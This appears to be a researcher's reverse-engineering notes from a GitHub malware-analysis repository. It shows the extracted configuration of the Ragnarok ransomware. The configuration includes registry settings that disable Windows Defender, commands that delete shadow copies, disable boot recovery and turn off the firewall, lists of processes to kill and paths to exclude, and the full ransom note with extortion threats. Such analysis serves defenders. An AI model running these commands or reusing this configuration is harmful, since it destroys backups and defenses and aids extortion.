Malware-Misc-RE/2020-01-26-ragnarok-cfg-vk.notes.raw

github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw

k-vitali

k-vitali/Malware-Misc-RE

Miscellaneous Malware RE

1 Contributor | 0 Issues | 192 Stars | 48 Forks

{

"aes_key_rand": "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",

"reg_key": ["SYSTEM\\CurrentControlSet\\Control\\Nls\\Language", "SOFTWARE\\Policies\\Microsoft\\Windows\\HomeGroup", "SOFTWARE\\Policies\\Microsoft\\Windows Defender", "SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection"],

"reg_value": ["DisableHomeGroup", "DisableAntiSpyware", "DisableRealtimeMonitoring", "DisableBehaviorMonitoring", "DisableOnAccessProtection", "InstallLanguage"],

"file_ext": [".exe", ".dll", ".sys", ".ragnarok"],

"proc": ["sql", "note", "powerpnt", "winword", "excel"],

"except_language": ["0419", "0423", "0444", "0442", "0422", "0426", "043f", "042c", "0804"],

"except_path": ["content.ie5", "\\temporary internet files", "\\local settings\\temp", "\\appdata\\local\\temp", "\\program files", "\\windows", "\\programdata", "$"],

"no_name1": "*.*",

```
"no_name2": "%s\\%s",
"no_name3": "%s\\*.*",
"no_name4": "/proc",
"no_name5": "/proc/%s/status",
"no_name6": "%*s %s",
"no_name7": "%s%s/",
"no_name8": "/tmp/crypt.txt",
"no_name9": "/proc/%s",
"rsa_pub_N": "REDACT",
"rsa_pub_E": "010001",
"rg_path": "C:\\Users\\public\\Files\\rgnk.dvi",
"readme_name": "!!ReadMe_To_Decrypt_My_Files.txt",
"rand_path": "/dev/random",
"home_path": "/home/",
"ext": ".ragnarok",
"sys64_path": "C:\\Windows\\SysWOW64",
"cmd_shadow": "cmd.exe /c vssadmin delete shadows /all /quiet",
"cmd_boot": "cmd.exe /c bcdedit /set {current} bootstatuspolicy ignoreallfailures",
"cmd_recovery": "cmd.exe /c bcdedit /set {current} recoveryenabled no",
"cmd_firewall": "cmd.exe /c netsh advfirewall set allprofiles state off",
"dll": ["kernel32.dll", "Advapi32.dll", "Mpr.dll"],
"api": ["Wow64DisableWow64FsRedirection", "Wow64RevertWow64FsRedirection",
"RegOpenKeyExA", "RegQueryValueExA", "WNetOpenEnumA", "GlobalAlloc",
"WNetEnumResourceA", "FindFirstFileA", "FindNextFileA", "GlobalFree",
"WNetCloseEnum", "RegCloseKey", "CloseHandle", "GetVersionExA",
"CreateProcessA", "CryptAcquireContextA", "CryptGenRandom",
"CryptReleaseContext", "CreateFileA", "GetFileSizeEx", "GetLogicalDriveStringsA",
"Process32Next", "Process32First", "TerminateProcess", "CreateToolhelp32Snapshot",
"OpenProcess", "FreeSid", "AllocateAndInitializeSid", "CheckTokenMembership",
"CreateMutexA", "WaitForSingleObject", "ReleaseMutex", "RegCreateKeyA",
"RegSetValueExA", "GetComputerNameA", "GetDriveTypeA"],
```

"rsa_rand": "rsa_encrypt",

"readme_content": "It's not late to say happy new year right? but how didn't i bring a gift as the first time we met :)

#what happend to your files ?

Unfortunately your files are encrypted with rsa4096 and aes encryption,

you won 't decrypt your files without our tool

but don 't worry,you can follow the instructions to decrypt your files

1. obviously you need a decrypt tool so that you can decrypt all of your files

2. contact with us

for our btcoin address and send us your DEVICE ID after you decide to pay

3. i will reply a specific price e.g 1.0011 or 0.9099 after i received your mail including your DEVICE ID

4. i will send your personal decrypt tool only work on your own machine after i had check the ransom paystatus

5. you can provide a file less than 1 M

for us to prove that we can decrypt your files after you paid

6. it 's wise to pay as soon as possible it wont make you more losses

the ransome : 1 btcoin

for per machine,

5 bitcoins

for all machines

how to buy bitcoin and transfer ? i think you are very good at googlesearch

asgardmaster5 @protonmail.com

ragnar0k @ctemplar.com

j.jasonm @yandex.com

Attention : if you wont pay the ransom in five days,

all of your files will be made public on internet and will be deleted

YOUR DEVICE ID: "}